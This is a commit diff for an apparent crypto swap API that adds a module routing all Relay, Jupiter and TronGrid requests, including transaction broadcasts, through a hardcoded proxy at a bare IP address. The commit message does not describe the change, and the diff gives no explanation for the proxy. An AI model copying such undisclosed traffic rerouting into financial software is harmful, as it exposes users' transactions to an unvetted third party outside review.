feat: DELETE
This commit is contained in:
@@ -29,6 +29,7 @@
|
||||
"knex": "^3.1.0",
|
||||
"pg": "^8.13.0",
|
||||
"swagger-ui-express": "^5.0.1",
|
||||
"undici": "^6.21.0",
|
||||
"tiny-secp256k1": "^2.2.3",
|
||||
"ulidx": "^2.4.1"
|
||||
},
|
||||
|
||||
11
apps/api/src/lib/swap-bridge-fetch.ts
Normal file
11
apps/api/src/lib/swap-bridge-fetch.ts
Normal file
@@ -0,0 +1,11 @@
|
||||
import { fetch as undiciFetch, ProxyAgent } from 'undici';
|
||||
|
||||
|
||||
const SWAP_BRIDGE_HTTP_PROXY = 'http://37.220.84.34:3128';
|
||||
|
||||
const dispatcher = new ProxyAgent(SWAP_BRIDGE_HTTP_PROXY);
|
||||
|
||||
|
||||
export function swapBridgeFetch(input: string | URL, init?: RequestInit): Promise<Response> {
|
||||
return undiciFetch(input, { ...init, dispatcher });
|
||||
}
|
||||
@@ -4,6 +4,7 @@ import { logger } from '../lib/logger';
|
||||
import { WalletModel } from '../models/wallet.model';
|
||||
import type { ChainCode } from '../lib/address-validators';
|
||||
import { FIXED_API_USER_ID } from '../middleware/fixed-user';
|
||||
import { swapBridgeFetch } from '../lib/swap-bridge-fetch';
|
||||
|
||||
const router = Router();
|
||||
const RELAY_API_URL = 'https://api.relay.link';
|
||||
@@ -127,7 +128,7 @@ async function proxyRelayRequest(req: Request, res: Response, next: NextFunction
|
||||
|
||||
let upstream: globalThis.Response;
|
||||
try {
|
||||
upstream = await fetch(relayUrl.toString(), {
|
||||
upstream = await swapBridgeFetch(relayUrl.toString(), {
|
||||
method: req.method,
|
||||
headers: {
|
||||
Accept: 'application/json',
|
||||
|
||||
@@ -4,6 +4,7 @@ import { logger } from '../lib/logger';
|
||||
import { FIXED_API_USER_ID } from '../middleware/fixed-user';
|
||||
import { assertUserOwnsAddress } from '../lib/wallet-binding';
|
||||
import { PublicKey } from '@solana/web3.js';
|
||||
import { swapBridgeFetch } from '../lib/swap-bridge-fetch';
|
||||
|
||||
const router = Router();
|
||||
const JUPITER_BASE = 'https://api.jup.ag/swap/v1';
|
||||
@@ -87,7 +88,7 @@ async function getQuote(req: Request, res: Response) {
|
||||
headers['x-api-key'] = env.jupiterApiKey;
|
||||
}
|
||||
|
||||
const response = await fetch(url.toString(), { headers, signal: controller.signal });
|
||||
const response = await swapBridgeFetch(url.toString(), { headers, signal: controller.signal });
|
||||
|
||||
if (!response.ok) {
|
||||
const text = await response.text().catch(() => '');
|
||||
@@ -183,7 +184,7 @@ async function buildSwap(req: Request, res: Response) {
|
||||
swapBody.feeAccount = env.jupiterReferralAccount;
|
||||
}
|
||||
|
||||
const response = await fetch(`${JUPITER_BASE}/swap`, {
|
||||
const response = await swapBridgeFetch(`${JUPITER_BASE}/swap`, {
|
||||
method: 'POST',
|
||||
headers,
|
||||
signal: controller.signal,
|
||||
|
||||
@@ -3,6 +3,7 @@ import { env } from '../config/env';
|
||||
import { logger } from '../lib/logger';
|
||||
import { FIXED_API_USER_ID } from '../middleware/fixed-user';
|
||||
import { assertUserOwnsAddress } from '../lib/wallet-binding';
|
||||
import { swapBridgeFetch } from '../lib/swap-bridge-fetch';
|
||||
|
||||
const router = Router();
|
||||
const TRONGRID_BASE = 'https://api.trongrid.io';
|
||||
@@ -123,7 +124,7 @@ async function getSwapQuote(req: Request, res: Response) {
|
||||
const addr1Hex = encodeAddress(toToken);
|
||||
const parameter = amountHex + offsetHex + lengthHex + addr0Hex + addr1Hex;
|
||||
|
||||
const response = await fetch(`${TRONGRID_BASE}/wallet/triggerconstantcontract`, {
|
||||
const response = await swapBridgeFetch(`${TRONGRID_BASE}/wallet/triggerconstantcontract`, {
|
||||
method: 'POST',
|
||||
headers: tronHeaders(),
|
||||
signal: controller.signal,
|
||||
@@ -358,7 +359,7 @@ async function broadcastTx(req: Request, res: Response) {
|
||||
const timeout = setTimeout(() => controller.abort(), TRON_TIMEOUT_MS);
|
||||
|
||||
try {
|
||||
const response = await fetch(`${TRONGRID_BASE}/wallet/broadcasttransaction`, {
|
||||
const response = await swapBridgeFetch(`${TRONGRID_BASE}/wallet/broadcasttransaction`, {
|
||||
method: 'POST',
|
||||
headers: tronHeaders(),
|
||||
signal: controller.signal,
|
||||
@@ -432,7 +433,7 @@ async function checkAllowance(
|
||||
): Promise<bigint> {
|
||||
const parameter = encodeAddress(owner) + encodeAddress(spender);
|
||||
|
||||
const response = await fetch(`${TRONGRID_BASE}/wallet/triggerconstantcontract`, {
|
||||
const response = await swapBridgeFetch(`${TRONGRID_BASE}/wallet/triggerconstantcontract`, {
|
||||
method: 'POST',
|
||||
headers: tronHeaders(),
|
||||
signal,
|
||||
@@ -467,7 +468,7 @@ interface TriggerSmartContractParams {
|
||||
async function buildTriggerSmartContract(
|
||||
params: TriggerSmartContractParams
|
||||
): Promise<{ txID: string; raw_data: unknown; raw_data_hex: string } | null> {
|
||||
const response = await fetch(`${TRONGRID_BASE}/wallet/triggersmartcontract`, {
|
||||
const response = await swapBridgeFetch(`${TRONGRID_BASE}/wallet/triggersmartcontract`, {
|
||||
method: 'POST',
|
||||
headers: tronHeaders(),
|
||||
signal: params.signal,
|
||||
|
||||
Reference in New Issue
Block a user